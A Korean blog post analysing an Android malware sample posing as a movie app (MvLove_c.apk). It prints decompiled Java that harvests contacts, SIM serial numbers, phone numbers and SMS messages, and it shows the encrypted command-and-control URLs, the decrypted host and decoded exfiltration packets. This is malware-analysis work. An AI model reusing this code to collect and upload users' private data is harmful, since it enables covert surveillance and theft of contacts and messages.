Analysis

[Android Malware] 무비사랑 (MvLove_c.apk) 분석

DarkSoul.Story 2013. 4. 22. 16:52
반응형



아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. 



1. 개요


Filename:MvLove_c.apk 
MD5:a5a1cd816cf456d2f16d3525061e5227 
SHA-1:fa239e162870d1b9407c0756d1c33dc6f675801f 
File Size:190103 Bytes
API Level:

2. 분석 내용


MvLove_c.apk파일이 설치가 되면 MVLove 아이콘이 생성된다. 생성된 아이콘을 클릭하면 아래와 같이 [Webpage not available]을 출력해준다.



초기 배포 당시에는 http://www.mvlove.net에 접속이 가능했을 수 있으나, 분석하고 있는 현재는 접속을 할 수없다. 


확인한 API 권한 정보를 정리하면 아래와 같으며, 빨간색으로 표시된 API 권한이 악의적으로 사용될 수 있는 API이다.


 User Permission (악성 APP이 요구하는 권한 정보)

android.permission.RECEIVE_BOOT_COMPLETED

android.permission.ACCESS_NETWORK_STATE

android.permission.ACCESS_WIFI_STATE

android.permission.INTERNET

android.permission.READ_PHONE_STATE

android.permission.READ_SMS

android.permission.WRITE_SMS

android.permission.SEND_SMS

android.permission.RECEIVE_SMS

android.permission.WRITE_EXTERNAL_STORAGE

android.permission.MOUNT_UNMOUNT_FILESYSTEMS

android.permission.READ_CONTACTS


악성 앱을 디컴바일 한 후 소스파일을 살펴보면, 아래와 같은 구조로 되어있다.



com.mvlove.util의 ContactUtil 클래스에서 아래와 같이 getContentResolver()를 이용하여, 악성 앱이 설치되어 있는 디바이스의 주소록(전화번호부)에 접근한 후 저장되어 있는 전화번호를 획득한다. 


private static final void readPhoneContact(Context paramContext, Map<String, 
Contact> paramMap)
  {
    try
    {
      Cursor localCursor = paramContext.getContentResolver().query(ContactsContract.
CommonDataKinds.Phone.CONTENT_URI, new String[] { "display_name", "data1" }, null, 
null, null);
      if (localCursor != null)
        while (true)
        {
          if (!localCursor.moveToNext())
          {
            localCursor.close();
            return;
          }
          String str1 = localCursor.getString(localCursor.getColumnIndex("data1"));
          if (!TextUtils.isEmpty(str1))
          {
            String str2 = str1.replaceAll("\\+", "");
            if (!paramMap.containsKey(str2))
            {
              String str3 = localCursor.getString(localCursor.getColumnIndex
("display_name"));
              Contact localContact = new Contact();
              localContact.setName(str3);
              localContact.setNumber(str2);
              paramMap.put(str2, localContact);
            }
          }
        }
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }

com.mvlove.util의 PhoneUtil 클래스에서는 getSimSerialNumber()를 이용하여 악성 앱이 설치되어 있는 디바이스의 SIM카드 Serial Number 정보를 획득한다. 또한 getModel()을 이용하여 모델명을 확인하고, getLine1Number()를 이용하여 전화번호를 획득한다.


public class PhoneUtil
{
  public static final String getImei(Context paramContext)
  {
    return ((TelephonyManager)paramContext.getSystemService("phone")).
getSimSerialNumber();
  }
 
  public static final String getModel()
  {
    return Build.MODEL;
  }
 
  public static final String getPhone(Context paramContext)
  {
    String str = ((TelephonyManager)paramContext.getSystemService("phone")).
getLine1Number();
    if (TextUtils.isEmpty(str))
      str = LocalManager.getPhone(paramContext);
    if (!TextUtils.isEmpty(str))
      str = str.replaceAll("\\+", "");
    return str;
  }
 
  public static final String getVersion()
  {
    return Build.VERSION.RELEASE;
  }
}

com.mvloce.service의 TaskService 클래스에서는 아래와 같이registerContentObserver()를 이용하여, SMS의 상태를 확인하고 정보를 획득한다.


public void onCreate()
  {
    super.onCreate();
    LogUtil.println("onCreate");
    this.smsContent = new SmsContent(new Handler());
    getContentResolver().registerContentObserver(Uri.parse("content://sms/")
, true, this.smsContent);
    HandlerThread localHandlerThread = new HandlerThread(TaskService.class.
getName());
    localHandlerThread.start();
    this.mLooper = localHandlerThread.getLooper();
    this.mPushHandler = new PushSmsHandler(getApplicationContext(), this.
mLooper);
  }

획득한 정보는 아래 URL로 전송을 한다. 전송되는 서버 URL은 Blowfish로 암호화되어있으며, 복호화는 com.mvlove.util의 Blowfish 클래스에서 이루어진다.


public class Constants
{
  public static final boolean UPLOAD_CONTACT = true;
 
  public static class Interface
  {
    private static final String SERVER_HOST = "0b11b74edefa7484127ca0fdc0e07
cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc61fb8637db74b58da546533
4b6b87fe";
 
    public static final String getMotionUrl(Context paramContext)
    {
      return new Blowfish(paramContext.getPackageName()).decryptString("0b11b
74edefa7484127ca0fdc0e07cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc
61fb8637db74b58da5465334b6b87fe") + "/getMotion.htm";
    }
 
    public static final String getPushSmsUrl(Context paramContext)
    {
      return new Blowfish(paramContext.getPackageName()).decryptString("0b11b74
edefa7484127ca0fdc0e07cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc61fb8
637db74b58da5465334b6b87fe") + "/upMsg.htm";
    }
 
    public static final String getUpdateMotionUrl(Context paramContext)
    {
      return new Blowfish(paramContext.getPackageName()).decryptString("0b11b7
4edefa7484127ca0fdc0e07cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc61fb
8637db74b58da5465334b6b87fe") + "/updateMotionStatus.htm";
    }
 
    public static final String getUpdateRemoteSmsStatusUrl(Context paramContext)
    {
      return new Blowfish(paramContext.getPackageName()).decryptString("0b11b
74edefa7484127ca0fdc0e07cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc61
fb8637db74b58da5465334b6b87fe") + "/updateRemoteSmsStatus.htm";
    }
  }
}


서버 URL을 복호화하면 www.ckspeed8.com이며, 전송되는 정보들을 패킷으로 확인해보면 아래와 같다.



보기 좋게 디코딩한 내용

model=generic&phone=15555215554&clientVersion=2.3.4&contactStr=[{"name
":"Eve","number":"065-031-337"},{"name":"Alice","number":"013-
1337"},{"name":"Bob","number":"080-012-
3456789"},{"name":"Bob","number":"081-5012-
3456789"},{"name":"Trent","number":"019-
999"}]&imei=89014103211118510720



보기 좋게 디코딩한 내용

model=generic&phone=15555215554&messageStr=[{"attachment":"","cid":"4","content"

:"Hello World!","receiverPhone":"15555215554","sendTime":"Jan 10, 2013 2:47:01

 PM","senderPhone":"0815123456789"},{"attachment":"","cid":"3","content":"Hello

World!","receiverPhone":"15555215554","sendTime":"Jan 10, 2013 2:46:59

PM","senderPhone":"0815123456789"},{"attachment":"","cid":"2","content":"Thx!","recei

verPhone":"0800123456789","sendTime":"Dec 18, 2012 5:44:06

PM","senderPhone":"15555215554"},{"attachment":"","cid":"1","content":"Hi! How are

you? My password: dkeu!k","receiverPhone":"15555215554","sendTime":"Dec 18, 2012

5:43:55

PM","senderPhone":"0800123456789"}]&clientVersion=2.3.4&imei=8901410321111851

0720


www.ckspeed8.com의 IP는 103.30.4.37으로 확인 되었으며, 해당 IP의 위치는 홍콩으로 확인되었다.




반응형